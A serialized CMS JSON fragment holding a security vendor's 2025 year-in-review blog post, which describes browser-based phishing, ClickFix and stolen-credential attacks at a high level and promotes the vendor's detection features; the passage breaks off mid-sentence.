05,"value":90266,"nodeType":865},{},[],{"data":98207,"content":98208,"nodeType":953},{},[],{"data":98210,"content":98211,"nodeType":963},{},[98212],{"data":98213,"marks":98214,"value":70978,"nodeType":865},{},[98215],{"type":961},{"data":98217,"content":98218,"nodeType":866},{},[98219],{"data":98220,"marks":98221,"value":90283,"nodeType":865},{},[],{"data":98223,"content":98224,"nodeType":866},{},[98225],{"data":98226,"marks":98227,"value":90290,"nodeType":865},{},[],{"data":98229,"content":98230,"nodeType":866},{},[98231],{"data":98232,"marks":98233,"value":90297,"nodeType":865},{},[],{"data":98235,"content":98236,"nodeType":866},{},[98237,98240,98247,98250,98257],{"data":98238,"marks":98239,"value":32401,"nodeType":865},{},[],{"data":98241,"content":98242,"nodeType":882},{"uri":22700},[98243],{"data":98244,"marks":98245,"value":22706,"nodeType":865},{},[98246],{"type":997},{"data":98248,"marks":98249,"value":71034,"nodeType":865},{},[],{"data":98251,"content":98252,"nodeType":882},{"uri":1728},[98253],{"data":98254,"marks":98255,"value":22730,"nodeType":865},{},[98256],{"type":997},{"data":98258,"marks":98259,"value":1048,"nodeType":865},{},[],{"data":98261,"content":98262,"nodeType":953},{},[],{"data":98264,"content":98265,"nodeType":963},{},[98266],{"data":98267,"marks":98268,"value":22744,"nodeType":865},{},[98269],{"type":961},{"data":98271,"content":98272,"nodeType":866},{},[98273,98276,98283],{"data":98274,"marks":98275,"value":25047,"nodeType":865},{},[],{"data":98277,"content":98278,"nodeType":882},{"uri":13757},[98279],{"data":98280,"marks":98281,"value":13762,"nodeType":865},{},[98282],{"type":997},{"data":98284,"marks":98285,"value":70887,"nodeType":865},{},[],{"data":98287,"content":98288,"nodeType":866},{},[98289],{"data":98290,"marks":98291,"value":90356,"nodeType":865},{},[],{"data":98293,"content":98294,"nodeType":1049},{},[98295,98304,98313,98322],{"data":98296,"content":98297,"nodeType":1003},{},[98298],{"data":98299,"content":98300,"nodeType":866},{},[98301],{"data":98302,"marks":98303,"value":90369,"nodeType":865},{},[],{"data":98305,"content":98306,"nodeType":1003},{},[98307],{"data":98308,"content":98309,"nodeType":866},{},[98310],{"data":98311,"marks":98312,"value":90379,"nodeType":865},{},[],{"data":98314,"content":98315,"nodeType":1003},{},[98316],{"data":98317,"content":98318,"nodeType":866},{},[98319],{"data":98320,"marks":98321,"value":90389,"nodeType":865},{},[],{"data":98323,"content":98324,"nodeType":1003},{},[98325],{"data":98326,"content":98327,"nodeType":866},{},[98328],{"data":98329,"marks":98330,"value":90399,"nodeType":865},{},[],{"data":98332,"content":98333,"nodeType":866},{},[98334],{"data":98335,"marks":98336,"value":90406,"nodeType":865},{},[],{"data":98338,"content":98339,"nodeType":1049},{},[98340,98349,98358,98367],{"data":98341,"content":98342,"nodeType":1003},{},[98343],{"data":98344,"content":98345,"nodeType":866},{},[98346],{"data":98347,"marks":98348,"value":90419,"nodeType":865},{},[],{"data":98350,"content":98351,"nodeType":1003},{},[98352],{"data":98353,"content":98354,"nodeType":866},{},[98355],{"data":98356,"marks":98357,"value":90429,"nodeType":865},{},[],{"data":98359,"content":98360,"nodeType":1003},{},[98361],{"data":98362,"content":98363,"nodeType":866},{},[98364],{"data":98365,"marks":98366,"value":90439,"nodeType":865},{},[],{"data":98368,"content":98369,"nodeType":1003},{},[98370],{"data":98371,"content":98372,"nodeType":866},{},[98373],{"data":98374,"marks":98375,"value":90449,"nodeType":865},{},[],{"data":98377,"content":98378,"nodeType":866},{},[98379],{"data":98380,"marks":98381,"value":90456,"nodeType":865},{},[],{"data":98383,"content":98384,"nodeType":1049},{},[98385,98394,98403,98412,98421,98430,98439],{"data":98386,"content":98387,"nodeType":1003},{},[98388],{"data":98389,"content":98390,"nodeType":866},{},[98391],{"data":98392,"marks":98393,"value":90469,"nodeType":865},{},[],{"data":98395,"content":98396,"nodeType":1003},{},[98397],{"data":98398,"content":98399,"nodeType":866},{},[98400],{"data":98401,"marks":98402,"value":90479,"nodeType":865},{},[],{"data":98404,"content":98405,"nodeType":1003},{},[98406],{"data":98407,"content":98408,"nodeType":866},{},[98409],{"data":98410,"marks":98411,"value":90489,"nodeType":865},{},[],{"data":98413,"content":98414,"nodeType":1003},{},[98415],{"data":98416,"content":98417,"nodeType":866},{},[98418],{"data":98419,"marks":98420,"value":90499,"nodeType":865},{},[],{"data":98422,"content":98423,"nodeType":1003},{},[98424],{"data":98425,"content":98426,"nodeType":866},{},[98427],{"data":98428,"marks":98429,"value":90509,"nodeType":865},{},[],{"data":98431,"content":98432,"nodeType":1003},{},[98433],{"data":98434,"content":98435,"nodeType":866},{},[98436],{"data":98437,"marks":98438,"value":90519,"nodeType":865},{},[],{"data":98440,"content":98441,"nodeType":1003},{},[98442],{"data":98443,"content":98444,"nodeType":866},{},[98445],{"data":98446,"marks":98447,"value":90529,"nodeType":865},{},[],{"data":98449,"content":98450,"nodeType":866},{},[98451],{"data":98452,"marks":98453,"value":13704,"nodeType":865},{},[98454],{"type":961},{"items":98456},[98457,98459],{"sys":98458,"name":342},{"id":8410},{"sys":98460,"name":11426},{"id":11425},{"items":98462},[98463],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":98464},{"url":11434},{"__typename":1788,"sys":98466,"content":98468,"title":99747,"synopsis":99748,"hashTags":59,"publishedDate":99749,"slug":99750,"tagsCollection":99751,"authorsCollection":99757},{"id":98467},"37KWV8V5L3aNZBSx6JMd0Z",{"json":98469},{"data":98470,"content":98471,"nodeType":1739},{},[98472,98479,98486,98547,98554,98623,98629,98636,98643,98646,98653,98660,98667,98769,98788,98795,98837,98844,98851,98858,98891,98897,98928,98933,98940,98947,98980,99000,99003,99010,99016,99045,99052,99059,99066,99072,99079,99085,99100,99143,99148,99167,99170,99177,99183,99203,99210,99239,99259,99265,99286,99293,99300,99360,99367,99373,99387,99401,99421,99427,99448,99455,99458,99465,99471,99478,99485,99506,99512,99532,99537,99544,99577,99595,99598,99605,99611,99618,99638,99644,99659,99665,99672,99679,99698,99701,99707,99714,99721],{"data":98473,"content":98474,"nodeType":866},{},[98475],{"data":98476,"marks":98477,"value":98478,"nodeType":865},{},[],"Looking back over the year’s headlines and trending TTPs, it’s clear that 2025 was the year that browser-based account takeover techniques made the leap into the mainstream.",{"data":98480,"content":98481,"nodeType":866},{},[98482],{"data":98483,"marks":98484,"value":98485,"nodeType":865},{},[],"A few stats tell the story …",{"data":98487,"content":98488,"nodeType":1049},{},[98489,98508,98527],{"data":98490,"content":98491,"nodeType":1003},{},[98492],{"data":98493,"content":98494,"nodeType":866},{},[98495,98499,98505],{"data":98496,"marks":98497,"value":98498,"nodeType":865},{},[],"Identity-based attacks surged by 32% over the last year, and 97% of identity attacks were password-based, driven by a combination of credential leaks and infostealer malware. (",{"data":98500,"content":98501,"nodeType":882},{"uri":74512},[98502],{"data":98503,"marks":98504,"value":29673,"nodeType":865},{},[],{"data":98506,"marks":98507,"value":23156,"nodeType":865},{},[],{"data":98509,"content":98510,"nodeType":1003},{},[98511],{"data":98512,"content":98513,"nodeType":866},{},[98514,98518,98524],{"data":98515,"marks":98516,"value":98517,"nodeType":865},{},[],"ClickFix was the most common initial point of access for adversaries in the past year, accounting for a whopping 47% of observed attacks. (",{"data":98519,"content":98520,"nodeType":882},{"uri":74512},[98521],{"data":98522,"marks":98523,"value":29673,"nodeType":865},{},[],{"data":98525,"marks":98526,"value":23156,"nodeType":865},{},[],{"data":98528,"content":98529,"nodeType":1003},{},[98530],{"data":98531,"content":98532,"nodeType":866},{},[98533,98537,98544],{"data":98534,"marks":98535,"value":98536,"nodeType":865},{},[],"Pure malware-based attacks declined, as adversaries continued to shift from targeting endpoints to corporate identities. In the last year-plus, 79% of detections were malware-free, up from 40% in 2019. And abuse of valid accounts was responsible for more than one-third of all cloud-related incidents. (",{"data":98538,"content":98539,"nodeType":882},{"uri":74533},[98540],{"data":98541,"marks":98542,"value":98543,"nodeType":865},{},[],"Crowdstrike",{"data":98545,"marks":98546,"value":23156,"nodeType":865},{},[],{"data":98548,"content":98549,"nodeType":866},{},[98550],{"data":98551,"marks":98552,"value":98553,"nodeType":865},{},[],"… and so do the headlines from 2025:",{"data":98555,"content":98556,"nodeType":1049},{},[98557,98576,98604],{"data":98558,"content":98559,"nodeType":1003},{},[98560],{"data":98561,"content":98562,"nodeType":866},{},[98563,98567,98572],{"data":98564,"marks":98565,"value":98566,"nodeType":865},{},[],"Attackers stole over ",{"data":98568,"marks":98569,"value":98571,"nodeType":865},{},[98570],{"type":961},"1.5 billion records",{"data":98573,"marks":98574,"value":98575,"nodeType":865},{},[]," from an estimated 1,000+ Salesforce tenants by exploiting integrations (Salesloft, Gainsight), phishing credentials, and by tricking users into installing a malicious OAuth app.",{"data":98577,"content":98578,"nodeType":1003},{},[98579],{"data":98580,"content":98581,"nodeType":866},{},[98582,98586,98591,98595,98600],{"data":98583,"marks":98584,"value":98585,"nodeType":865},{},[],"Marks & Spencer was hit with a help desk scam that led to a compromised Microsoft Entra account, followed by a ransomware deployment resulting in months of disruption, ",{"data":98587,"marks":98588,"value":98590,"nodeType":865},{},[98589],{"type":961},"$400M",{"data":98592,"marks":98593,"value":98594,"nodeType":865},{},[]," in lost profits, and around ",{"data":98596,"marks":98597,"value":98599,"nodeType":865},{},[98598],{"type":961},"$1.3B",{"data":98601,"marks":98602,"value":98603,"nodeType":865},{},[]," wiped off their stock market valuation at one stage.",{"data":98605,"content":98606,"nodeType":1003},{},[98607],{"data":98608,"content":98609,"nodeType":866},{},[98610,98614,98619],{"data":98611,"marks":98612,"value":98613,"nodeType":865},{},[],"Jaguar Land Rover was compromised via highly privileged admin accounts — another help desk scam targeting workforce credentials for initial access — resulting in months of disruption that led the UK government to underwrite a ",{"data":98615,"marks":98616,"value":98618,"nodeType":865},{},[98617],{"type":961},"$1.5B",{"data":98620,"marks":98621,"value":98622,"nodeType":865},{},[]," loan to alleviate the supply chain impact. This was the most economically consequential cyber attack yet recorded in a G7 economy.",{"data":98624,"content":98628,"nodeType":925},{"target":98625},{"sys":98626},{"id":98627,"type":922,"linkType":923},"v5YYnjP2NViOh6Ucxp2Fe",[],{"data":98630,"content":98631,"nodeType":866},{},[98632],{"data":98633,"marks":98634,"value":98635,"nodeType":865},{},[],"At Push, we’ve been closely tracking the evolution of browser-based attacks. Looking back at 2025, we’ve seen a notable increase in the sophistication and frequency of modern attack techniques methods like ClickFix, commodified phish kits that bypass MFA, malicious browser extensions, and many more. (Writing phish kit teardowns for the Push blog is practically a full-time job now.)",{"data":98637,"content":98638,"nodeType":866},{},[98639],{"data":98640,"marks":98641,"value":98642,"nodeType":865},{},[],"In this article, we’ll take a look at how real-world attacks and our own research drove the features we delivered for Push customers this year to take the fight to adversaries.",{"data":98644,"content":98645,"nodeType":953},{},[],{"data":98647,"content":98648,"nodeType":963},{},[98649],{"data":98650,"marks":98651,"value":98652,"nodeType":865},{},[],"Detecting and blocking increasingly sophisticated phishing-as-a-service tools",{"data":98654,"content":98655,"nodeType":1458},{},[98656],{"data":98657,"marks":98658,"value":98659,"nodeType":865},{},[],"What happened",{"data":98661,"content":98662,"nodeType":866},{},[98663],{"data":98664,"marks":98665,"value":98666,"nodeType":865},{},[],"The current state of the art for phishing centers on three core developments:",{"data":98668,"content":98669,"nodeType":1049},{},[98670,98699,98740],{"data":98671,"content":98672,"nodeType":1003},{},[98673],{"data":98674,"content":98675,"nodeType":866},{},[98676,98681,98685,98695],{"data":98677,"marks":98678,"value":98680,"nodeType":865},{},[98679],{"type":961},"Detection evasion: ",{"data":98682,"marks":98683,"value":98684,"nodeType":865},{},[],"Adversaries demonstrated a ",{"data":98686,"content":98690,"nodeType":15311},{"target":98687},{"sys":98688},{"id":98689,"type":922,"linkType":923},"4XZ6qCr8pjJvcD7hi09x2Y",[98691],{"data":98692,"marks":98693,"value":98694,"nodeType":865},{},[],"creative array of approaches",{"data":98696,"marks":98697,"value":98698,"nodeType":865},{},[]," this year to hide their intentions from end-users and defenders, using methods such as sending phishing emails from legitimate services; serving phishing pages via malvertising and SEO poisoning; and obfuscating URLs. More sophisticated techniques used page-level obfuscation, cross-domain iframes, single-use links, and legitimate OIDC logins to evade detection and analysis from traditional tools.",{"data":98700,"content":98701,"nodeType":1003},{},[98702],{"data":98703,"content":98704,"nodeType":866},{},[98705,98710,98714,98723,98727,98737],{"data":98706,"marks":98707,"value":98709,"nodeType":865},{},[98708],{"type":961},"Multi-channel delivery of lures:",{"data":98711,"marks":98712,"value":98713,"nodeType":865},{},[]," Adversaries proved the truism of “phishing doesn’t just happen in the mailbox” this year by increasing their observed use of ",{"data":98715,"content":98719,"nodeType":15311},{"target":98716},{"sys":98717},{"id":98718,"type":922,"linkType":923},"72lLmy0CXnOp3LWOdcUguX",[98720],{"data":98721,"marks":98722,"value":441,"nodeType":865},{},[],{"data":98724,"marks":98725,"value":98726,"nodeType":865},{},[]," and SEO poisoning — techniques that place malicious pages within trusted contexts like the Google search engine results page — as well as the use of social media services like LinkedIn to ",{"data":98728,"content":98732,"nodeType":15311},{"target":98729},{"sys":98730},{"id":98731,"type":922,"linkType":923},"2yEhB2gFC2TJDLquVP3cg2",[98733],{"data":98734,"marks":98735,"value":98736,"nodeType":865},{},[],"deliver phishing lures",{"data":98738,"marks":98739,"value":10349,"nodeType":865},{},[],{"data":98741,"content":98742,"nodeType":1003},{},[98743],{"data":98744,"content":98745,"nodeType":866},{},[98746,98751,98755,98765],{"data":98747,"marks":98748,"value":98750,"nodeType":865},{},[98749],{"type":961},"Commodification of phishing toolkits:",{"data":98752,"marks":98753,"value":98754,"nodeType":865},{},[]," Phishing-as-a-service (PhaaS) kits have become another SaaS with their own supply chain, including developers of malicious tooling, operators who run the campaigns, and brokers who sell stolen credentials and tokens. The incentives for attackers are clear: quick ROI from targeting workforce identities, and out-of-the-box tools that make it easier to efficiently spin up new campaigns or try new techniques. As with any SaaS offering, the customer (attackers, in this case) benefits from rapid innovations they didn’t have to build. We saw this recently with the ",{"data":98756,"content":98760,"nodeType":15311},{"target":98757},{"sys":98758},{"id":98759,"type":922,"linkType":923},"6QLonRmBzbj9h88Y7jD0LU",[98761],{"data":98762,"marks":98763,"value":98764,"nodeType":865},{},[],"addition of a browser-in-the-browser (BitB) technique",{"data":98766,"marks":98767,"value":98768,"nodeType":865},{},[]," to the phish kit Sneaky2FA — a change that makes it even more effective.",{"data":98770,"content":98771,"nodeType":866},{},[98772,98776,98784],{"data":98773,"marks":98774,"value":98775,"nodeType":865},{},[],"In 2025, Push researchers tracked how each of these developments expanded in scope and sophistication. Check out our ",{"data":98777,"content":98779,"nodeType":882},{"uri":98778},"https://pushsecurity.github.io/phishing-techniques/",[98780],{"data":98781,"marks":98782,"value":98783,"nodeType":865},{},[],"phishing detection evasion techniques matrix",{"data":98785,"marks":98786,"value":98787,"nodeType":865},{},[]," on Github for more detail. ",{"data":98789,"content":98790,"nodeType":866},{},[98791],{"data":98792,"marks":98793,"value":98794,"nodeType":865},{},[],"The takeaways for security teams?",{"data":98796,"content":98797,"nodeType":1049},{},[98798,98808,98827],{"data":98799,"content":98800,"nodeType":1003},{},[98801],{"data":98802,"content":98803,"nodeType":866},{},[98804],{"data":98805,"marks":98806,"value":98807,"nodeType":865},{},[],"You can’t block your way to safety when adversaries are using the same legitimate apps that your employees use.",{"data":98809,"content":98810,"nodeType":1003},{},[98811],{"data":98812,"content":98813,"nodeType":866},{},[98814,98818,98823],{"data":98815,"marks":98816,"value":98817,"nodeType":865},{},[],"Similarly, while end-user training is important, it’s not reasonable to expect employees to know when a SharePoint document link is malicious when it looks identical to the ones they trust every day — because adversaries ",{"data":98819,"marks":98820,"value":98822,"nodeType":865},{},[98821],{"type":944},"are using the legitimate service",{"data":98824,"marks":98825,"value":98826,"nodeType":865},{},[],". Push researchers have observed the abuse of hundreds of legitimate services in phishing attacks this year.",{"data":98828,"content":98829,"nodeType":1003},{},[98830],{"data":98831,"content":98832,"nodeType":866},{},[98833],{"data":98834,"marks":98835,"value":98836,"nodeType":865},{},[],"Security solutions need to be able to analyze real-time context and behavior, not rely solely on inferences from secondary characteristics like domain reputation.",{"data":98838,"content":98839,"nodeType":866},{},[98840],{"data":98841,"marks":98842,"value":98843,"nodeType":865},{},[],"Here's what we built to help defend organizations.",{"data":98845,"content":98846,"nodeType":1458},{},[98847],{"data":98848,"marks":98849,"value":98850,"nodeType":865},{},[],"What we built",{"data":98852,"content":98853,"nodeType":866},{},[98854],{"data":98855,"marks":98856,"value":98857,"nodeType":865},{},[],"The feature we built in 2025 that gave us unique insight into these TTPs is Push’s Detections capability. With Detections, you can:",{"data":98859,"content":98860,"nodeType":1049},{},[98861,98871,98881],{"data":98862,"content":98863,"nodeType":1003},{},[98864],{"data":98865,"content":98866,"nodeType":866},{},[98867],{"data":98868,"marks":98869,"value":98870,"nodeType":865},{},[],"Get alerted when Push detects a browser-based attack, and see how the Push agent responded to block the attack. The platform provides a front-end view for quick triage, and you can also pipe the detection events to your SIEM or other platform of choice.",{"data":98872,"content":98873,"nodeType":1003},{},[98874],{"data":98875,"content":98876,"nodeType":866},{},[98877],{"data":98878,"marks":98879,"value":98880,"nodeType":865},{},[],"Review a timeline of the incident: Where a phishing link originated; whether a user entered their credentials; what kind of phishkit was detected; and how Push responded (configurable based on your environment).",{"data":98882,"content":98883,"nodeType":1003},{},[98884],{"data":98885,"content":98886,"nodeType":866},{},[98887],{"data":98888,"marks":98889,"value":98890,"nodeType":865},{},[],"Get actionable telemetry and metadata about an incident, including a screenshot of the malicious page to see exactly what the user saw; intel about the involved domains, including when they were registered and if they’ve been scanned by urlscan before; and the blast radius of an attack, including other apps that shared a password with the potentially compromised account",{"data":98892,"content":98896,"nodeType":925},{"target":98893},{"sys":98894},{"id":98895,"type":922,"linkType":923},"5dygPaG3Gfw4Yeicffv6tV",[],{"data":98898,"content":98899,"nodeType":866},{},[98900,98904,98909,98912,98917,98920,98924],{"data":98901,"marks":98902,"value":98903,"nodeType":865},{},[],"This telemetry — combined with Push’s out-of-the-box controls like ",{"data":98905,"marks":98906,"value":98908,"nodeType":865},{},[98907],{"type":961},"Phishing tool detection",{"data":98910,"marks":98911,"value":2186,"nodeType":865},{},[],{"data":98913,"marks":98914,"value":98916,"nodeType":865},{},[98915],{"type":961},"Cloned login page detection",{"data":98918,"marks":98919,"value":3892,"nodeType":865},{},[],{"data":98921,"marks":98922,"value":91395,"nodeType":865},{},[98923],{"type":961},{"data":98925,"marks":98926,"value":98927,"nodeType":865},{},[]," (aka ClickFix detection) — give you a seat on the user’s side of the equation, capturing real-time information about what users did and the TTPs of an attack so you can investigate and respond efficiently and confidently.",{"data":98929,"content":98932,"nodeType":925},{"target":98930},{"sys":98931},{"id":91650,"type":922,"linkType":923},[],{"data":98934,"content":98935,"nodeType":866},{},[98936],{"data":98937,"marks":98938,"value":98939,"nodeType":865},{},[],"With the visibility provided by this telemetry across Push’s install base, our R&D and Product teams have rapidly iterated all year on our detections to increase coverage and respond quickly to newly identified attack types.",{"data":98941,"content":98942,"nodeType":866},{},[98943],{"data":98944,"marks":98945,"value":98946,"nodeType":865},{},[],"This year, we also released:",{"data":98948,"content":98949,"nodeType":1049},{},[98950,98960,98970],{"data":98951,"content":98952,"nodeType":1003},{},[98953],{"data":98954,"content":98955,"nodeType":866},{},[98956],{"data":98957,"marks":98958,"value":98959,"nodeType":865},{},[],"Detections for new variants of cloned login pages and AiTM phish kits.",{"data":98961,"content":98962,"nodeType":1003},{},[98963],{"data":98964,"content":98965,"nodeType":866},{},[98966],{"data":98967,"marks":98968,"value":98969,"nodeType":865},{},[],"12+ pre-release detections focused on flagging emerging attacker techniques.",{"data":98971,"content":98972,"nodeType":1003},{},[98973],{"data":98974,"content":98975,"nodeType":866},{},[98976],{"data":98977,"marks":98978,"value":98979,"nodeType":865},{},[],"7+ first-class SIEM and SOAR integrations, to make it simpler to ingest Push telemetry and operationalize it.",{"data":98981,"content":98982,"nodeType":866},{},[98983,98987,98997],{"data":98984,"marks":98985,"value":98986,"nodeType":865},{},[],"Learn more about Push’s detections features in our ",{"data":98988,"content":98992,"nodeType":15311},{"target":98989},{"sys":98990},{"id":98991,"type":922,"linkType":923},"6OFdfAsoPUECeRAetWvedp",[98993],{"data":98994,"marks":98995,"value":98996,"nodeType":865},{},[],"blog article",{"data":98998,"marks":98999,"value":1048,"nodeType":865},{},[],{"data":99001,"content":99002,"nodeType":953},{},[],{"data":99004,"content":99005,"nodeType":963},{},[99006],{"data":99007,"marks":99008,"value":99009,"nodeType":865},{},[],"Detecting and blocking ClickFix-style malicious copy and paste attacks",{"data":99011,"content":99012,"nodeType":1458},{},[99013],{"data":99014,"marks":99015,"value":98659,"nodeType":865},{},[],{"data":99017,"content":99018,"nodeType":866},{},[99019,99023,99030,99034,99041],{"data":99020,"marks":99021,"value":99022,"nodeType":865},{},[],"ClickFix-style attacks left their mark in 2025, quickly becoming one of the most prevalent attack techniques — with ",{"data":99024,"content":99025,"nodeType":882},{"uri":94448},[99026],{"data":99027,"marks":99028,"value":99029,"nodeType":865},{},[],"estimates",{"data":99031,"marks":99032,"value":99033,"nodeType":865},{},[]," of a 400 percent year-over-year increase, and another ",{"data":99035,"content":99036,"nodeType":882},{"uri":94461},[99037],{"data":99038,"marks":99039,"value":99040,"nodeType":865},{},[],"report",{"data":99042,"marks":99043,"value":99044,"nodeType":865},{},[]," documenting a 517 percent growth in just the last 6 months of the year.",{"data":99046,"content":99047,"nodeType":866},{},[99048],{"data":99049,"marks":99050,"value":99051,"nodeType":865},{},[],"What is ClickFix? This attack technique prompts the user to solve some kind of problem or troubleshooting step in the browser — often presented as a CAPTCHA challenge. The key aspect of the attack is that it tricks users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (The copy typically occurs  automatically via the page itself, but can also be performed manually by the user.)",{"data":99053,"content":99054,"nodeType":866},{},[99055],{"data":99056,"marks":99057,"value":99058,"nodeType":865},{},[],"These malicious copy and paste attacks are often used to deliver infostealer malware or remote access software, with the attacker’s end goal being stealing session cookies and credentials to facilitate attacks on business apps.",{"data":99060,"content":99061,"nodeType":866},{},[99062],{"data":99063,"marks":99064,"value":99065,"nodeType":865},{},[],"What’s especially challenging about this attack type is that it usually can only be detected after the fact — when a machine is already compromised, or malicious code attempts to execute (if EDR catches it). Even if it is detected, security teams are left flying blind when they try to determine the initial vector for the attack, and which other users might have been targeted.",{"data":99067,"content":99068,"nodeType":1458},{},[99069],{"data":99070,"marks":99071,"value":98850,"nodeType":865},{},[],{"data":99073,"content":99074,"nodeType":866},{},[99075],{"data":99076,"marks":99077,"value":99078,"nodeType":865},{},[],"Because of our position in the browser, Push is uniquely positioned to detect and block browser-native attacks like ClickFix and other forms of malicious copy and paste techniques. So that’s what we built.",{"data":99080,"content":99084,"nodeType":925},{"target":99081},{"sys":99082},{"id":99083,"type":922,"linkType":923},"56jVT7dbNqUGiSRTfTCQw2",[],{"data":99086,"content":99087,"nodeType":866},{},[99088,99092,99096],{"data":99089,"marks":99090,"value":99091,"nodeType":865},{},[],"With our ",{"data":99093,"marks":99094,"value":91395,"nodeType":865},{},[99095],{"type":961},{"data":99097,"marks":99098,"value":99099,"nodeType":865},{},[],", you can:",{"data":99101,"content":99102,"nodeType":1049},{},[99103,99113,99123,99133],{"data":99104,"content":99105,"nodeType":1003},{},[99106],{"data":99107,"content":99108,"nodeType":866},{},[99109],{"data":99110,"marks":99111,"value":99112,"nodeType":865},{},[],"Detect ClickFix-style attacks as soon as they target end-users, regardless of the delivery channel for the lure, or the specifics of the malware type and execution.",{"data":99114,"content":99115,"nodeType":1003},{},[99116],{"data":99117,"content":99118,"nodeType":866},{},[99119],{"data":99120,"marks":99121,"value":99122,"nodeType":865},{},[],"Block these attacks before the malicious code is copied to the clipboard.",{"data":99124,"content":99125,"nodeType":1003},{},[99126],{"data":99127,"content":99128,"nodeType":866},{},[99129],{"data":99130,"marks":99131,"value":99132,"nodeType":865},{},[],"Safely collect the payload for further investigation by your security team, and replace the clipboard contents with safe text as part of the blocking action.",{"data":99134,"content":99135,"nodeType":1003},{},[99136],{"data":99137,"content":99138,"nodeType":866},{},[99139],{"data":99140,"marks":99141,"value":99142,"nodeType":865},{},[],"Capture a detailed timeline of events to see how users were targeted and how the attack unfolded.",{"data":99144,"content":99147,"nodeType":925},{"target":99145},{"sys":99146},{"id":94338,"type":922,"linkType":923},[],{"data":99149,"content":99150,"nodeType":866},{},[99151,99155,99164],{"data":99152,"marks":99153,"value":99154,"nodeType":865},{},[],"Learn more about ClickFix detection in our ",{"data":99156,"content":99159,"nodeType":15311},{"target":99157},{"sys":99158},{"id":79835,"type":922,"linkType":923},[99160],{"data":99161,"marks":99162,"value":99163,"nodeType":865},{},[],"documentation",{"data":99165,"marks":99166,"value":1048,"nodeType":865},{},[],{"data":99168,"content":99169,"nodeType":953},{},[],{"data":99171,"content":99172,"nodeType":963},{},[99173],{"data":99174,"marks":99175,"value":99176,"nodeType":865},{},[],"Getting ahead of breaches tied to stolen credentials and ghost logins",{"data":99178,"content":99179,"nodeType":1458},{},[99180],{"data":99181,"marks":99182,"value":98659,"nodeType":865},{},[],{"data":99184,"content":99185,"nodeType":866},{},[99186,99190,99200],{"data":99187,"marks":99188,"value":99189,"nodeType":865},{},[],"Starting in November 2024 and continuing through July 2025, adversaries linked to the HELLCAT threat group compromised Jira tenants belonging to 10 organizations using ",{"data":99191,"content":99195,"nodeType":15311},{"target":99192},{"sys":99193},{"id":99194,"type":922,"linkType":923},"gANCbeL9AnxmbGAE5HhyG",[99196],{"data":99197,"marks":99198,"value":99199,"nodeType":865},{},[],"stolen credentials",{"data":99201,"marks":99202,"value":10349,"nodeType":865},{},[],{"data":99204,"content":99205,"nodeType":866},{},[99206],{"data":99207,"marks":99208,"value":99209,"nodeType":865},{},[],"Business-critical applications like Jira are prime targets for attackers, who in this case dumped valuable data and then held it for ransom (or sold it on criminal marketplaces). Of course, this isn’t just a problem for Jira — data from Push’s initial deployment into customer environments shows that lots of critical apps lack basic controls like strong passwords and MFA.",{"data":99211,"content":99212,"nodeType":866},{},[99213,99217,99225,99229,99235],{"data":99214,"marks":99215,"value":99216,"nodeType":865},{},[],"The evolving threat group known as ",{"data":99218,"content":99221,"nodeType":15311},{"target":99219},{"sys":99220},{"id":73788,"type":922,"linkType":923},[99222],{"data":99223,"marks":99224,"value":19437,"nodeType":865},{},[],{"data":99226,"marks":99227,"value":99228,"nodeType":865},{},[]," has also embraced the use of stolen creds, session cookies, and unprotected local account logins — aka ",{"data":99230,"content":99231,"nodeType":882},{"uri":74099},[99232],{"data":99233,"marks":99234,"value":10345,"nodeType":865},{},[],{"data":99236,"marks":99237,"value":99238,"nodeType":865},{},[]," — to compromise large organizations.",{"data":99240,"content":99241,"nodeType":866},{},[99242,99246,99255],{"data":99243,"marks":99244,"value":99245,"nodeType":865},{},[],"In 2025, Red Hat’s GitLab instance was compromised due to a local account that essentially provided a backdoor to an otherwise secure and SSO-connected account — an attack reminiscent of the ",{"data":99247,"content":99251,"nodeType":15311},{"target":99248},{"sys":99249},{"id":99250,"type":922,"linkType":923},"PAPJPr3CIB6J20udYyy1r",[99252],{"data":99253,"marks":99254,"value":39522,"nodeType":865},{},[],{"data":99256,"marks":99257,"value":99258,"nodeType":865},{},[],", which targeted local logins that lacked MFA.",{"data":99260,"content":99261,"nodeType":1458},{},[99262],{"data":99263,"marks":99264,"value":98850,"nodeType":865},{},[],{"data":99266,"content":99267,"nodeType":866},{},[99268,99272,99282],{"data":99269,"marks":99270,"value":99271,"nodeType":865},{},[],"Push already provided the ability to detect stolen credentials being actively used by employees in your organization with our ",{"data":99273,"content":99277,"nodeType":15311},{"target":99274},{"sys":99275},{"id":99276,"type":922,"linkType":923},"6vCr4d3R1XA1E8dU883l7N",[99278],{"data":99279,"marks":99280,"value":99281,"nodeType":865},{},[],"Stolen credential detection control",{"data":99283,"marks":99284,"value":99285,"nodeType":865},{},[],". This provides an early-warning signal when Push finds a match between credentials for sale on criminal forums with those still being used by your employees, reducing some 99.5% of false positives we usually see with TI feed data.",{"data":99287,"content":99288,"nodeType":866},{},[99289],{"data":99290,"marks":99291,"value":99292,"nodeType":865},{},[],"With Push, you can also identify where employees are logging in with passwords on apps that otherwise should be using SAML, OIDC, or some other federated mechanism — aka the ghost login vulnerability.",{"data":99294,"content":99295,"nodeType":866},{},[99296],{"data":99297,"marks":99298,"value":99299,"nodeType":865},{},[],"This year, we made it easier for security teams to enforce two security fundamentals that help harden accounts and reduce the risk of ATO, even on unmanaged apps:",{"data":99301,"content":99302,"nodeType":1049},{},[99303,99332],{"data":99304,"content":99305,"nodeType":1003},{},[99306],{"data":99307,"content":99308,"nodeType":866},{},[99309,99314,99318,99328],{"data":99310,"marks":99311,"value":99313,"nodeType":865},{},[99312],{"type":961},"Strong password enforcement:",{"data":99315,"marks":99316,"value":99317,"nodeType":865},{},[]," With this control, you can prompt end-users to ",{"data":99319,"content":99323,"nodeType":15311},{"target":99320},{"sys":99321},{"id":99322,"type":922,"linkType":923},"5aB5x5VXrMv7PDmH0iiK0c",[99324],{"data":99325,"marks":99326,"value":99327,"nodeType":865},{},[],"fix an insecure password",{"data":99329,"marks":99330,"value":99331,"nodeType":865},{},[]," on all your workforce apps, even the ones you don’t centrally manage. ",{"data":99333,"content":99334,"nodeType":1003},{},[99335],{"data":99336,"content":99337,"nodeType":866},{},[99338,99343,99346,99356],{"data":99339,"marks":99340,"value":99342,"nodeType":865},{},[99341],{"type":961},"MFA 